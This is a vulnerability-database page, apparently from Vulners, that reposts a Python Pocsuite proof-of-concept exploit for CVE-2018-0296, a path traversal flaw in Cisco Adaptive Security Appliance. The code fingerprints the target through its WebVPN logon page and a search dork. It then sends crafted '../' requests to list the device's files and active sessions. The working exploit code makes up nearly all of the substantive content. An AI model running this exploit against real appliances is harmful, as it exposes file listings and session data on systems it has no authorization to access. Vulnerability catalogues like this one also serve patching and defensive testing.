Lucene search
K

Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296)

🗓️ 22 Jun 2018 00:00:00Reported by My SeebugType 
seebug
 seebug
🔗 www.seebug.org👁 165 Views

Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296) vulnerability exploit in Python

Related
Code

                                                #!/usr/bin/python
# -*- coding: utf-8 -*-

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import urlparse


class TestPOC(POCBase):
    name = "Cisco Adaptive Security Appliance - Path Traversal"
    vulID = 'CVE-2018-0296'
    author = ['sebao']
    vulType = 'Path Traversal'
    version = '1.0'  # default version: 1.0
    references = ''
    desc = ''


    vulDate = ''
    createDate = '2018-06-22'
    updateDate = '2018-06-22'

    appName = 'Cisco Adaptive'
    appVersion = ''
    dork="/+CSCOE+/logon.html"
    appPowerLink = ''
    samples = []

    def _attack(self):

        return self._verify(self)

    def _verify(self):
        '''verify mode'''
        result = {}
        filelist_dir = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/"
        CSCOE_dir = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b"
        active_sessions = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/"
        logon = "/+CSCOE+/logon.html"

        is_cisco_asa = req.get(urlparse.urljoin(self.url, logon), verify=False, allow_redirects=False)

        if "webvpnLang" in is_cisco_asa.cookies:
            filelist_r = req.get(urlparse.urljoin(self.url, filelist_dir), verify=False)
            CSCOE_r = req.get(urlparse.urljoin(self.url, CSCOE_dir), verify=False)
            active_sessions_r = req.get(urlparse.urljoin(self.url, active_sessions), verify=False)

            if str(filelist_r.status_code) == "200" and filelist_r and CSCOE_r:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['filelist'] = filelist_r.text
                result['VerifyInfo']['CSCOE'] = CSCOE_r.text
            return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jun 2018 00:00Current
0.9Low risk
Vulners AI Score0.9
EPSS0.99903
165